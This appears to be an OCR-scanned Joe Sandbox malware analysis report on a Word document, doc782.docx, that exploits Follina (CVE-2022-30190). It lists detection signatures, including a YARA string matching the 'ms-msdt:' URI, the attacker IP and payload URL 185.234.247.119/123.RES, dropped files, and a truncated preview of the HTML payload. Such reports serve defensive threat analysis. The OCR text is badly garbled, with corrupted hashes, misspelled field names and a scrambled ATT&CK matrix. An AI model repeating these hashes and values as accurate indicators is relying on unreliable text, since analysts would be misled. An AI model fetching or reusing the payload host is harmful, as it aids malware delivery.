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Windows Analysis Report
doc782.docx
Overview

General Information Detection Signatures Classification

Sample doc782.docx
Name: MALICIOUS

Analysis ID: 640879

Multi AV Scanner detection for subm...

Yara detected Microsoft Office Expl...

MD5: €7015438268464. Snort IDS alert for network traffic
SHA1L:
03€i0e06d678a0: - Contains an external reference to an...
SHA256: d20120cc046cef. .. vara signat h
ara signature matcl
Tags: CVE-2022-30190
P ial loi
m otential document exploit detected
Uses a known web browser user age...
Infos: E l'f il Follina CVE-2022- Internet Provider seen in connection...
= = Y 30190 Potential document exploit detected...
Range: 0-100 Document misses a certain OLE str...
Whitelisted: false
Confidence: 100%
i Seler ] " s
Process Tree

= System is w7x64
° WINWORD.EXE (PID: 1460 cmdline: "C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)
= cleanup

Malware Configuration

@ No configs have been found

Yara Signatures

PCAP (Network Traffic)
Source Rule Description Author Strings
dump.pcap MAL_Msdt_MSPro Detects the Tobias Michalski, e 0x2d98:$rel: location.href = "ms-msdt:
tocolURI_May22 malicious usage of Christian Burkard
the ms-msdt URI
as seen in CVE-
2022-30190
dump.pcap JoeSecurity_Follin ~ Yara detected Joe Security
a Microsoft Office
Exploit Follina /
CVE-2022-30190
Dropped Files
Source Rule Description Author Strings
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Source Rule Description Author Strings

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary ~ MAL_Msdt_MSPro Detects the Tobias Michalski, e 0x1447:$rel: location.href = "ms-msdt:
Internet Files\Content. MSO\5FC6F522.RES tocolURI_May22 malicious usage of Christian Burkard

the ms-msdt URI

as seen in CVE-

2022-30190
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary =~ JoeSecurity_Follin ~ Yara detected Joe Security
Internet Files\Content. MSO\5FC6F522.RES a Microsoft Office

Exploit Follina /
CVE-2022-30190

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary =~ MAL_Msdt_MSPro Detects the Tobias Michalski, o 0x1447:$rel: location.href = "ms-msdt:
Internet Files\Content. MSO\67F97180.RES tocolURI_May22 malicious usage of Christian Burkard

the ms-msdt URI

as seen in CVE-

2022-30190
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary ~ JoeSecurity_Follin ~ Yara detected Joe Security
Internet Files\Content. MSO\67F97180.RES a Microsoft Office

Exploit Follina /
CVE-2022-30190

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary ~~ MAL_Msdt_MSPro Detects the Tobias Michalski, o 0x1447:$rel: location.href = "ms-msdit:
Internet Files\Content.IES\ZAE7RW1P\123[1].RES tocolURI_May22 malicious usage of Christian Burkard

the ms-msdt URI

as seen in CVE-

2022-30190

Click to see the 1 entries

Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

ET EXPLOIT Possible Microsoft Support Diagnostic Tool Exploitation Inbound (CVE-2022-30190) - Source IP: 185.234.247.119 - Destination IP: 192.168.2.22 =
Timestamp: 185.234.247.119192.168.2.2280491732036726 06/07/22-18:38:14.250872

SID: 2036726

Source Port: 80

Destination Port: 49173

Protocol: TCP

Classtype: Attempted User Privilege Gain

Joe Sandbox Signatures

AV Detection

Multi AV Scanner detection for submitted file

Exploits

Yara detected Microsoft Office Exploit Follina CVE-2022-30190

Networking

Snort IDS alert for network traffic

Persistence and Installation Behavior

Contains an external reference to another file
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Mitre Att&ck Matrix

Initial . . Privilege Defense Credential . Lateral . " .
Execution Persistence . . Discovery Collection Exfiltration
Access Escalation Evasion Access Movement
Valid Path Path 0os Remote Data from  Exfiltration
Accounts Exploitation Interceptio  Interceptio Masqueradi Credential  File and Services Local Over Other
for Client n n ng Dumping Directory System Network
Execution Discovery Medium
Default Scheduled  Boot or Boot or Rootkit LSASS Remote Data from  Exfiltration
Accounts Task/Job Logon Logon Memory System Desktop Removable Over
Initializatio  Initializatio Information  Protocol Media Bluetooth
n Scripts n Scripts Discovery
Domain At (Linux) Logon Logon Obfuscated Security Query SMB/Wind Datafrom  Automated
Accounts Script Script Files or Account Registry ows Admin  Network Exfiltration
(Windows) (Windows) Information Manager Shares Shared
Drive
Behavior Graph
Behavior Graph
1D: 640879
Sample: doc782.docx

Startdate: 07/06/2022

Architecture:  WINDOWS

Score: 68

@3 wnworpexe

EEN T

L

247.119, 491

9174, 49175

INTERKONEKT-ASPL dropped cropped dropped

Russian Federation

Screenshots
Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Command Remote
Network .
and Effects Service Impact
Control Effects
Eavesdrop Remotely Modify
Non- on Insecure Track System
Application  Network Device Partition
Layer Communic  Without
Protocol ation Authorizati
on
Exploit SS7 Remotely  Device
Application to Redirect Wipe Data  Lockout
Layer Phone Without
Protocol Calls/SMS  Authorizati
on
Exploit SS7  Obtain Delete
Ingress to Track Device Device
Tool Device Cloud Data
Transfer Location Backups
Hide Legend

Legend:

|:| Process

. Signature

. Created File

Il onsie info

ﬂ Is Dropped

A% Is Windows Process

*
*n

Number of created Registry Values

Number of created Files

5 B

Visual Basic

zz
3

ms
I8
o

)

Delphi

i
i
=

Java
.Net C# or VB.NET
C, C++ or other language

Is malicious

L@ 2 )

Internet

dropped
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doc782 - Microsoft Word

Home | Insert  Pagelayout  References  Mailings  Review  View
Calibri (Body) = 11 = A" A7 | Aa~ &)

# Format Painter
Clipboard Font Paragraph Styles

A
B 9| aasbcene | AsBbcee AaBbCt AaBbCe AaB| AaBbCel [ %
B L U-abe x, X - A =- | & TNermal | 1NoSpac. Headingl —Heading 2

@4 Find -
33 Replace

subtitle || Change
| Styles - |l Seledt -

Editing

Page:1of1 | Words:0 | o5

—

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection
doc782.docx 23%
doc782.docx 17%
Dropped Files

@ No Antivirus matches

Unpacked PE Files

@ No Antivirus matches

Copyright Joe Security LLC 2022

Scanner Label Link

Virustotal Browse

ReversingLabs Document-
Office.Exploit. CVE-
2021-40444
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https://www.virustotal.com/gui/file/d20120cc046cef3c3f0292c6cbc406fcf2a714aa8e048c9188f1184e4bb16c93/detection/f-d20120cc046cef3c3f0292c6cbc406fcf2a714aa8e048c9188f1184e4bb16c93-1654617438

Domains

@ No Antivirus matches

URLs

Source Detection Scanner Label Link
http://185.234.247.119:80/123.RES 2% Virustotal Browse
http://185.234.247.119:80/123.RES 0% Avira URL Cloud  safe
http://185.234.247.119/123.RES 2% Virustotal Browse
http://185.234.247.119/123.RES 0% Avira URL Cloud  safe

http://185.2 0% Virustotal Browse
http://185.2 0% Avira URL Cloud safe
http://185.234.247.119/123.RESyX 0% Avira URL Cloud  safe

Domains and IPs

Contacted Domains

@ No contacted domains info

Contacted URLs
Name Malicious Antivirus Detection Reputation
http://185.234.247.119/123.RES true e 2%, Virustotal, Browse unknown

e Avira URL Cloud: safe

URLs from Memory and Binaries

Name Source Malicious  Antivirus Detection Reputation

http://185.234.247.119:80/123.RES ~WRS{93886B29-9649-4D5E-975D-770BA1081A4 false e 2%, Virustotal, Browse unknown
8}.tmp.0.dr e Avira URL Cloud: safe

http://185.2 ~WRF{E8660B1F-DE23-4448-8E08-4E9A6601FD2 true e 0%, Virustotal, Browse low
5}.tmp.0.dr e Avira URL Cloud: safe

http://185.234.247.119/123.RESyX ~WRF{E8660B1F-DE23-4448-8E08-4E9A6601FD2 false e Avira URL Cloud: safe unknown
5}.tmp.0.dr

World Map of Contacted IPs
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https://www.virustotal.com/gui/url/cd5b1555c5b1c82c1fcd07cd0c743942b887ce195d8361dbaf2fd6707e0f0f31/detection/u-cd5b1555c5b1c82c1fcd07cd0c743942b887ce195d8361dbaf2fd6707e0f0f31-1654619690
https://www.virustotal.com/gui/url/cd5b1555c5b1c82c1fcd07cd0c743942b887ce195d8361dbaf2fd6707e0f0f31/detection/u-cd5b1555c5b1c82c1fcd07cd0c743942b887ce195d8361dbaf2fd6707e0f0f31-1654619690
https://www.virustotal.com/gui/url/718bb731a4c7fb57937d083a761faf025e1c848f145d3804fb8625b1e8730978/detection/u-718bb731a4c7fb57937d083a761faf025e1c848f145d3804fb8625b1e8730978-1568305957
https://www.virustotal.com/gui/url/cd5b1555c5b1c82c1fcd07cd0c743942b887ce195d8361dbaf2fd6707e0f0f31/detection/u-cd5b1555c5b1c82c1fcd07cd0c743942b887ce195d8361dbaf2fd6707e0f0f31-1654619690
https://www.virustotal.com/gui/url/cd5b1555c5b1c82c1fcd07cd0c743942b887ce195d8361dbaf2fd6707e0f0f31/detection/u-cd5b1555c5b1c82c1fcd07cd0c743942b887ce195d8361dbaf2fd6707e0f0f31-1654619690
https://www.virustotal.com/gui/url/718bb731a4c7fb57937d083a761faf025e1c848f145d3804fb8625b1e8730978/detection/u-718bb731a4c7fb57937d083a761faf025e1c848f145d3804fb8625b1e8730978-1568305957

[] No. of IPs < 25%
B 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public IPs

1P Domain Country Flag ASN ASN Name Malicious

185.234.247.119 unknown Russian Federation - 198004 INTERKONEKT-ASPL true

General Information

Joe Sandbox Version: 35.0.0 Citrine

Analysis ID: 640879

Start date and time: 07/06/202218:37:12 2022-06-07 18:37:12 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 4m 47s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: doc782.docx

Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET
4.6.2)

Number of analysed new started processes 4

analysed:

Number of new started drivers analysed: 1

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: e HCA enabled

e EGA enabled
e HDC enabled
e AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal68.expl.evad.winDOCX@1/18@0/1
EGA Information: Failed

HDC Information: Failed
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Successful, ratio: 100%
e Number of executed functions: 0
e Number of non-executed functions: 0

HCA Information:

Cookbook Comments: Found application associated with file extension: .docx
Adjust boot time

Enable AMSI

Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Scroll down

Close Viewer

e o o o o o o

Warnings

e Exclude process from analysis (whitelisted): mrxdav.sys, dllhost.exe, rundll32.exe
e Report size getting too big, too many NtQueryAttributesFile calls found.

Simulations

Behavior and APIs

@ No simulations

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

©@ No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Office\14.0\ OfficeFileCache\FSD-CNRY.FSD

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
File Type: data

Category: dropped

Size (bytes): 131072

Entropy (8bit):  0.286476876836956

Encrypted: false

SSDEEP: 48:137iRBtkKYcOKkYkdtcll1GIRNCIJyDmHR/RzrxYkQ2MNbmH:KzLtONfllLQvOWkK/MNbmH
MD5: 6BCB2F665A13AD491ECC953E7DC2600A

SHAL: B6A006CO8EFAB6680AE149871D3BCF72A899EB49

SHA-256: 9F3395C72A95FB68A06293DEF18EF7D872D85C587891BEBBFF6CA40739A12455
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SHA-512:

Malicious:
Reputation:

Preview:

3AA2E883787085CBD01D7A5C7172043EAA2B94608EALFOCC5C8CF3352B8681A681F0795A4DED825CCE99C30FEEC478276FDD319B0E43AEEF2BACEB1FF7415¢
24

false

low

.....M.eFy...z).)..aeL...7zg.S,.. X.F...Fa.q.. B5.7L7KG...Q.....A..

.@....p..G...s.0.Q9G..a"..q

C:\Users\user\AppData\Local\Microsoft\Office\14.0\ OfficeFileCache\FSD-{950185C1-D03B-43EE-9B9C-DOCDFF898355}.FSD

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

131072

0.6721178351435934

false
96:K8CyRac5sakKYEaoGi0S+rg3Ezw83pXUpX2EpJOBhXkOBh:zRaykKYE/GBfrcEzt3RUR2EPOBpkOB
B1CC8BA869BD685529814B7A230CADC3

4EEC65DF18DEO07DFF4A6BBF9FBE63CE88B799F5
9D16A5F0E79E851A2DFACODC39DA298E387D4367F95A03CA21D59FASEBB4EBF2
777E7C15960292D9AF91AF27046EE70394A30EOESCFBA3D0OA5165E0C625166C32BAC0A65617A016AFFEQ77B03E42C977230F724F9DCAB725EB3BB78F29147A3¢

false

low

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF-CTBL.FSF

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

114

3.8916224090210907

false

3:yVIgsRIzLIUWIhVIWGgmPm7IcHkQ+27276:yPblzywI5W3Gm65+g22
626D26BA67DC406AD2544367CDA6666C
000E7519E969A23460054A3B8C27E930CEIDIA38
10F22C4182B3FBAF8BAAASE8228E0E6773A64201BFFA93BIDC41F50EA6F30207

E7FE264D610FD3BA698BFDBCA3CD547F24C831355881A2F4A4C487A884F66690DCDA190E1108BFASCA394C544D8142F5E3619056AE90EBOD17167C040EC2CB
6

false
low

.H.@...b.q...]JF.S.D.-{9.5.0.1.8.5.C.1.-.D.0.3.B.-.4.3.E.E.-.9.B.9.C.-.D.0.C.D.F.F.8.9.8.3.5.5.}...F.S.D..

C:\Users\user\AppData\Local\Microsoft\Office\14.0\ OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

data

dropped

131072

0.28756379665444187

false
96:KPLaryP7MO08sHsfsFspsflhsQ1L3bgiapvAowZOLuPvAowZOLuwH:Y7MO0dflOcLD
8FE7BCE45842A9855FEA472DA76BF940
B6EE349F4083C102DD55840D33A213480BB35BC1
93E1768BDDB1FF66F4DE6374EDSFE9DB9458141495A55C88E039BECB47C5CEBB

5A59AAE7CE8FB220C5FEE4CC9658F9105E33E3E176C478447210763A6F86394C6D359474B5B4D91B33BCFC237BC02D670F1C29640728E60ABAAIAEEC194CD1
F

false

low
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Preview:

C:\Users\user\AppData\Local\Microsoft\Office\14.0\ OfficeFileCache\LocalCacheFileEditManager\FSD-{74F2B178-00AE-424F-83E7-BA599E828

254}.FSD

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

131072

0.22102443317117917

false

48:132E3UrBcwO7h/8PV5jLqUAMU/cRMU/ck:K2E3Ccwch/QDjAMUORMUOkK
2821462EBF84D7BED1E5C765DD2573B8
445DC2799504E4508476ABB19B0AB29F9E862A09
D19FOCE09DBC66219C5E1C2212EEEB73004DB533932038AFE394794027CBBD1E

6A9FFA8B8042BFFBA3639C892CFC939F0AFE94053A3DA245B15F2EEC2E35EB784A04AEAEC85B68C3DF916AADI9839F465349EE215BD31980D4AEFCBD8C7D1A
6D3

false

low

J.Y.u.F}c~.L.P>..

C:\Users\user\AppData\Local\Microsoft\Office\14.0\ OfficeFileCache\LocalCacheFileEditManager\FSF-{OE1EEE64-EBCH-4E2A-9759-63CFO7FD8

988}.FSF

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

114

3.9540734219927023

false

3:yVIgsRIz8TOwel8NL7Qig9k+czXzIf276:yPblzbRRDGjzXzt22
82D8CBB66D292D28791B2DDFCB3F2431
520EBOF9D499C470FA6E7DC581134B56F6473333
0349FEF712B994680FB04C9BB1997B021C5F8DAE134F93182F18342945757049

BC3A424CC3C84DDB2C65D4EO0CE9BI96DF1105DC15B179F78B1ACA24F7B5281895638751F9500B4BBOAF0A3041A66AE9DC4847365841445F8E8F2ECOD22E1FFD
B

false
low

.H.@...b.q...]JF.S.D.-{7.4F.2B.1.7.8.-.0.0AE.-4.2.4F.-83E.7-B.A59.9.E8.28.254}.FSD.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\123[1].RES @

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Yara Hits:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

HTML document, ASCII text, with very long lines, with CRLF line terminators

downloaded

6241

4.836014560592255

false
192:tI5mDtWIDUOGTI9EHbTcKeZEwC8EaKiSe+1hPw6utjdkGPgz47:wDwWIWERY5V7VaGPgz47
A32050027AEA96B3B70E1056490A98C9
EF28C67583C8C8048COBAAEAD036680A60441213
E3BA1C45F9DD1F432138654B5F19CF89C55E07219B88AA7628334D38BB036433

1C2A1605B67FEB57F99DC4C7DAFFB16D1F3CC48D12CFC338C6D4FD84348DD6A872F6A0DAEDA70E96F49AD05BOF9690211F67346E3E4660CA2E79ED6F038A6
oc

true

e Rule: MAL_Msdt_MSProtocolURI_May22, Description: Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190, Source:
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.|IES\ZAE7RW1P\123[1].RES, Author: Tobias Michalski, Christian Burkard

e Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source:
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.|[E5\ZAE7RW1P\123[1].RES, Author: Joe Security
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Reputation:
IE Cache URL:

Preview:

low
http://185.234.247.119/123.RES

<!doctype html>..<html lang="en">..<head>..<title>..Good thing we disabled macros..</title>..</head>..<body>..<p>..Lorem ipsum dolor sit amet, consectetur adipiscing
elit. Quisque pellentesque egestas nulla in dignissim. Nam id mauris lorem. Nunc suscipit id magna id mollis. Pellentesque suscipit orci neque, at ornare sapien bibendum
eu. Vestibulum malesuada nec sem quis finibus. Nam quis ligula et dui faucibus faucibus. In quis bibendum tortor.....Curabitur rutrum leo tortor, venenatis fermentum ex
porttitor vitae. Proin eu imperdiet lorem, ac aliquet risus. Aenean eu sapien pharetra, imperdiet ipsum ut, semper diam. Nulla facilisi. Sed euismod tortor tortor, non eleifen
d nunc fermentum sit amet. Integer ligula ligula, congue at scelerisque sit amet, porttitor quis felis. Maecenas nec justo varius, semper turpis ut, gravida lorem. Proin arcu
ligula, venenatis aliquam tristique ut, pretium quis velit.....Phasellus tristique orci enim, at accumsan velit interdum et. Aenean nec tristique

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5FC6F522.RES €Y

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Yara Hits:

Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

HTML document, ASCII text, with very long lines, with CRLF line terminators

dropped

6241

4.836014560592255

false
192:tJ5mDtWIDU0GTI9EHbTcKeZEwCB8EaKiSe+1hPw6utjdkGPgz47:wDwWIWERY5V7VaGPgz47
A32050027AEA96B3B70E1056490A98C9
EF28C67583C8C8048COBAAEADO36680A60441213
E3BA1C45F9DD1F432138654B5F19CF89C55E07219B88AA7628334D38BB036433

1C2A1605B67FEB57F99DC4C7DAFFB16D1F3CC48D12CFC338C6D4FD84348DD6A872F6A0DAEDA7OE96F49AD0O5B0OF9690211F67346E3E4660CA2E79EDGF038A6
oc

true

e Rule: MAL_Msdt_MSProtocolURI_May22, Description: Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190, Source:
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\5FC6F522.RES, Author: Tobias Michalski, Christian Burkard

e Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source:
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\5FC6F522.RES, Author: Joe Security

low

<ldoctype html>..<html lang="en">..<head>..<title>..Good thing we disabled macros..</title>..</head>..<body>..<p>..Lorem ipsum dolor sit amet, consectetur adipiscing
elit. Quisque pellentesque egestas nulla in dignissim. Nam id mauris lorem. Nunc suscipit id magna id mollis. Pellentesque suscipit orci neque, at ornare sapien bibendum
eu. Vestibulum malesuada nec sem quis finibus. Nam quis ligula et dui faucibus faucibus. In quis bibendum tortor.....Curabitur rutrum leo tortor, venenatis fermentum ex
porttitor vitae. Proin eu imperdiet lorem, ac aliquet risus. Aenean eu sapien pharetra, imperdiet ipsum ut, semper diam. Nulla facilisi. Sed euismod tortor tortor, non eleifen
d nunc fermentum sit amet. Integer ligula ligula, congue at scelerisque sit amet, porttitor quis felis. Maecenas nec justo varius, semper turpis ut, gravida lorem. Proin arcu
ligula, venenatis aliquam tristique ut, pretium quis velit.....Phasellus tristique orci enim, at accumsan velit interdum et. Aenean nec tristique

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\67F97180.RES @

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Yara Hits:

Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

HTML document, ASCII text, with very long lines, with CRLF line terminators

dropped

6241

4.836014560592255

false
192:tJ5mDtWIDUOGTI9EHbTcKeZEwC8EaKiSe+1hPw6utjdkGPgz47:wDwWIWERY5V7VaGPgz47
A32050027AEA96B3B70E1056490A98C9
EF28C67583C8C8048COBAAEAD036680A60441213
E3BA1C45F9DD1F432138654B5F19CF89C55E07219B88AA7628334D38BB036433

1C2A1605B67FEB57F99DCA4C7DAFFB16D1F3CC48D12CFC338C6D4FD84348DD6A872F6A0DAEDA7O0E9I6F49AD0O5B0OF9690211F67346E3E4660CA2E79EDGF038A6
oc

true

e Rule: MAL_Msdt_MSProtocolURI_May22, Description: Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190, Source:
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\67F97180.RES, Author: Tobias Michalski, Christian Burkard

e Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source:
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\67F97180.RES, Author: Joe Security

low

<!doctype html>..<html lang="en">..<head>..<title>..Good thing we disabled macros..</title>..</head>..<body>..<p>..Lorem ipsum dolor sit amet, consectetur adipiscing
elit. Quisque pellentesque egestas nulla in dignissim. Nam id mauris lorem. Nunc suscipit id magna id mollis. Pellentesque suscipit orci neque, at ornare sapien bibendum
eu. Vestibulum malesuada nec sem quis finibus. Nam quis ligula et dui faucibus faucibus. In quis bibendum tortor.....Curabitur rutrum leo tortor, venenatis fermentum ex
porttitor vitae. Proin eu imperdiet lorem, ac aliquet risus. Aenean eu sapien pharetra, imperdiet ipsum ut, semper diam. Nulla facilisi. Sed euismod tortor tortor, non eleifen
d nunc fermentum sit amet. Integer ligula ligula, congue at scelerisque sit amet, porttitor quis felis. Maecenas nec justo varius, semper turpis ut, gravida lorem. Proin arcu
ligula, venenatis aliquam tristique ut, pretium quis velit.....Phasellus tristique orci enim, at accumsan velit interdum et. Aenean nec tristique

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{E8660B1F-DE23-4448-8E08-4E9A6601FD25}.tmp

Process:
File Type:
Category:
Size (bytes):

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
Composite Document File V2 Document, Cannot read section info
dropped

5632
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Entropy (8bit):  2.204971840955297

Encrypted: false

SSDEEP: 12:r13bn+kFIBmYwai621U/hCsSvuQWyRNNYnRN/5Co00RNNEKN7ivsS4ClsS4sS4Ch:r2BmK/eV8nNoWiCdeoG8noxoWi

MDS5: DD3D8735358776F47F3F4588129200A6

SHAL: 4510950838066EF408F0B44786FA17DAAGA9EOCC

SHA-256: D68FF93964AD863C958AEIFBA71F293622CA019543D8F2F32EA7FB77111A0DDB

SHA-512: 7EBA213FOD96CC2D32A1EA69EDAF384A6B4BBBI6BD18F406145B21E6A925731C6951A1051266A65C9883B7AB11E0B3733C6F381151886282796DCIF390B9802¢
Malicious: false

Reputation: low

Preview:

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{93886B29-9649-4D5E-975D-770BA10 81A48}.tmp

Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type: data

Category: dropped

Size (bytes): 2130

Entropy (8bit): 1.1627960907898713

Encrypted: false

SSDEEP: 6:/91qgHu42sarhYkluvgB4PxZUtrl1il5IN24NLRnyOLfEznRnyOLflgDMPmM1PcV5:mbb2sOhYk5vnZA5Rn/YnRn/dom5

MD5: 645EAB6E0489C4D8B0D4877F7A930E07

SHA1L: 2961C4A1FDDO7A4A6EFA47655C6087EB011B079E

SHA-256: EDOBFA2837448DD790D7C0450339FBAEF480535517847634136BF9F7F0B91468

SHA-512: 0D1E3C8280255B0F329931CE8CE1810DFE32F5DA29A2FDIFE90B907A2546699B955D50519CE310BD63B5D84F5873F5FB3CCB0467FB48E47ABEAL6962DC6BAA
CE

Malicious: false

Reputation: low

Preview: TR I o T 0 = 8 OO

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E4F5B659-EE23-4A39-84D5-F59507B69C67}.tmp

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
File Type: data

Category: dropped

Size (bytes): 1024

Entropy (8bit): 0.05390218305374581

Encrypted: false

SSDEEP: 3:013lYdn:4Wn

MD5: 5D4D94EE7E06BBB0OAF9584119797B23A

SHA1L: DBB111419C704F116EFA8E72471DD83ES6E49677

SHA-256: 4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

SHA-512: 95F83AE84CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28E
A4

Malicious: false

Reputation: high, very likely benign file

Preview:

C:\Users\user\AppData\Local\Temp\{81AEC75A-0A9E-4A32-B5F6-541A0FA08477}

Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type: data

Category: dropped

Size (bytes): 131072

Entropy (8bit): 0.025702809661217164
Encrypted: false
SSDEEP: 6:13DPcx3t6JavxggLRKwsB4RXv//4tfnRujlw/+Gtlud/eRuj:I3DPI15+gvYg3J/
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MD5:
SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

12657ECB0ODD8B744608807DB5C70F0C7
9CE71D2E2CADA6C25168A26FF71CDED28695D0A2
1AA90B3561CB40B6E35BBA8D20FDB007172F06FBF7E4ED1CC1AD1B7EF955E3E4

F1FE88237F4D2648C52BBE4E138F6229EDD39ESCFD50DEBC92D 782456 EE6AF950E0146787199C8F108275A1557DDDE1CD3779AA4D1174A887E935FF1F69CAO!

/.8..L..=K!

C:\Users\user\AppData\Local\Temp\{ACD4BEAE-F768-48FA-AC51-627BB9420B93}

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

data

dropped

131072

0.02563601517038645

false
6:13DPc2sRc9avxggLRmkIXgLkrfdRXv//4tfnRujlw//+GtluJ/eRuj:I3DPxsGcVXFrbvYg3J/
22FA1EB8556154E2A6FECC5FA08D274E
615CD82CE3D9F9BF38FE78FOCF1A2754254A4B31
C702AA3690D5FABD5D5F8B0376B275E34D9B5D23163A8CCDEAC7943625AFD06D

1333A393635A4D08C1E07E54168659A7BC63E4745D914BDD1D91C81F0896CO9CBBD8E1310B19FF563E9999FFA46676419DF1D1F8D1FA7274143F3281A074C7618

false

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\doc782.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Tue Mar 8 15:45:54 2022, mtime=Tue Mar 8 15:45:54 2022,
atime=Wed Jun 8 00:38:14 2022, length=10144, window=hide

dropped

999

4.518251587426856

false
12:80rgXg/XAICPCHaXBKBnB/xQpX+WquYWaitCicvbdF42NDtZ3YiIMMEpxRIKYtX:8C/XTRKJIgbWttle7xDv3qTaY7h
51D4ED26C8705FBE83CB8C15EE3B2BD8

342BOD8DF8E38387136D83AF766BE91256EF1A0B
3D08E45B4B67ED3E1E498672E206F82C9D1F1842C85289E714F330E5E05D19BF

59E59D8CE0395298163CC8FD031DBA03AS6B2FIB3ESC19D3F8675811B6A463073F8BAASB2A4EA4E2811CBOESBIFBI7E755DFA3333EFA4E1F213C7D2E458EDE
48

false

Lo P Y 0030Y0.3..B Kz RIS
.2.1.8.1.3....L.1....hT....user.8......QK.XhT..*...& . ...Albus...z.1...hT..Desktop.d...QK.XhT.*
